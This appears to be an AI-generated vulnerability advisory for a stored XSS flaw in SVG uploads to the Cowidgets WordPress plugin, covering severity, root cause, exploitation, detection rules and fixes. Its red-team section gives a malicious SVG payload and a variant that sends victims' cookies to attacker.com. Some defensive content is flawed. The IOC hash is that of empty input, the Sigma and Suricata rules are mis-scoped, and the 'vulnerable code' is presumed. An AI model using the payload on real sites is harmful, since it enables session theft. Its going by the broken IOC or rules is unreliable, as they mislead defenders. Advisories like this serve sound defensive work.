CVE-2024-8960

Executive Summary

CVE-2024-8960 is a Stored Cross-Site Scripting (XSS) vulnerability in the Cowidgets – Elementor Addons WordPress plugin, affecting all versions up to and including 1.2.0. The vulnerability arises from insufficient input sanitization and output escaping during SVG file uploads. An authenticated attacker with Author-level access or higher can upload a malicious SVG file containing arbitrary JavaScript. When any user (including administrators) accesses the uploaded SVG file, the injected script executes in the context of the victim’s browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not involve the underlying web server (Apache/Nginx). The CVSS score is 6.4 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation in the wild. No public exploit code or Nuclei template is available at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of the plugin package and ensure they are not using modified or third-party versions. The plugin is not available on NPM, PyPI, Go, or Ruby registries.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires Author-level or higher WordPress account
• User Interaction: Required (UI:R) – victim must access the SVG file
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. Exploitation requires authenticated access, but the impact is limited to stored XSS. The lack of public exploits and low EPSS score reduces immediate risk, but the vulnerability remains unpatched.

Deep Dive & Mechanics

The Cowidgets plugin allows users to upload SVG files for use in Elementor widgets. The vulnerability exists because the plugin does not properly sanitize SVG file contents or escape output when rendering the SVG. SVG files can contain embedded JavaScript via <script> tags or event handlers (e.g., onload). When an attacker uploads a crafted SVG, the malicious script is stored on the server. Any subsequent request to the SVG file executes the script in the user’s browser.

Attack Flow:

1. Attacker logs in with Author-level credentials.
2. Attacker uploads a malicious SVG file via the plugin’s media upload functionality.
3. The SVG file is stored on the WordPress server without sanitization.
4. Victim (e.g., admin or visitor) accesses the SVG file URL.
5. The browser renders the SVG, executing the embedded JavaScript.
6. The script can steal cookies, redirect to phishing pages, or perform actions on behalf of the victim.

Root Cause: The plugin uses wp_handle_upload() without additional validation of SVG content. WordPress core does not sanitize SVG files by default, leaving the responsibility to the plugin.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the file upload handler. A typical vulnerable implementation might look like:

// Vulnerable: No sanitization of SVG content
function cowidgets_handle_svg_upload($file) {
    // Only checks file extension
    $file_type = wp_check_filetype($file['name']);
    if ($file_type['ext'] === 'svg') {
        return $file;
    }
    return false;
}

A patched version would sanitize the SVG content using a library like enshrined/svg-sanitizer:

// Patched: Sanitize SVG content
use enshrined\svgSanitize\Sanitizer;

function cowidgets_handle_svg_upload($file) {
    $file_type = wp_check_filetype($file['name']);
    if ($file_type['ext'] === 'svg') {
        $sanitizer = new Sanitizer();
        $dirty_svg = file_get_contents($file['tmp_name']);
        $clean_svg = $sanitizer->sanitize($dirty_svg);
        file_put_contents($file['tmp_name'], $clean_svg);
        return $file;
    }
    return false;
}

Additionally, output escaping should be applied when rendering the SVG URL:

// Vulnerable: Direct output
echo $svg_url;

// Patched: Escaped output
echo esc_url($svg_url);

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Cowidgets plugin <= 1.2.0
• Author-level account credentials

Steps:

1. Create a malicious SVG file (e.g., payload.svg):

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    alert('XSS');
  </script>
</svg>

2. Log in to WordPress as an Author.
3. Navigate to Media > Add New and upload payload.svg.
4. Copy the URL of the uploaded SVG file.
5. Send the URL to a victim (e.g., admin) via email or chat.
6. When the victim opens the URL, the script executes.

Advanced Payload (Cookie Stealing):

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    fetch('https://attacker.com/steal?cookie=' + document.cookie);
  </script>
</svg>

Blue Team (Detection & Hardening)

Detection:

• Monitor file uploads for SVG files with embedded <script> tags or event handlers.
• Use WAF rules to block SVG files containing <script> or onload attributes.
• Review server logs for unusual access patterns to SVG files.

Hardening:

• Disable SVG uploads if not required.
• Implement a content security policy (CSP) that restricts script execution.
• Use a plugin like "Safe SVG" that sanitizes SVG files.
• Restrict Author-level users from uploading SVG files via custom capabilities.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – actual hashes depend on payload)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (malicious SVG)
• Network Indicators:
  • Outbound requests to attacker-controlled domains (e.g., attacker.com/steal)
• File Paths:
  • /wp-content/uploads/YYYY/MM/payload.svg
• Log Entries:
  • POST /wp-admin/async-upload.php with SVG file
  • GET /wp-content/uploads/YYYY/MM/payload.svg from multiple IPs

Detection Engineering

YARA Rule

rule CVE_2024_8960_SVG_XSS {
    meta:
        description = "Detects malicious SVG files targeting CVE-2024-8960"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-8960"
    strings:
        $svg_header = "<?xml" nocase
        $svg_tag = "<svg" nocase
        $script_tag = "<script" nocase
        $onload = "onload=" nocase
        $onerror = "onerror=" nocase
        $javascript = "javascript:" nocase
    condition:
        $svg_header and $svg_tag and ($script_tag or $onload or $onerror or $javascript)
}

Sigma Rule

title: CVE-2024-8960 Cowidgets SVG Upload XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of SVG files with embedded scripts to WordPress
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: windows
detection:
    selection:
        Image|endswith: '\wp-admin\async-upload.php'
        TargetFilename|endswith: '.svg'
    condition: selection
falsepositives:
    - Legitimate SVG uploads by trusted users
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-8960 Cowidgets SVG XSS Upload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/async-upload.php"; http_uri; content:".svg"; file_data; content:"<script"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable SVG uploads in the Cowidgets plugin settings or via WordPress functions.php:

add_filter('upload_mimes', function($mimes) {
    unset($mimes['svg']);
    return $mimes;
});

2. Restrict Author-level users from uploading files using a role editor plugin.
3. Implement a Web Application Firewall (WAF) rule to block SVG files with embedded scripts.

Long-Term Fix:

• Apply a patch from the vendor when available.
• Replace the Cowidgets plugin with an alternative that properly sanitizes SVG files.
• Use a dedicated SVG sanitization plugin like "Safe SVG" or "SVG Sanitizer".

Valters IT Signature:

Report generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.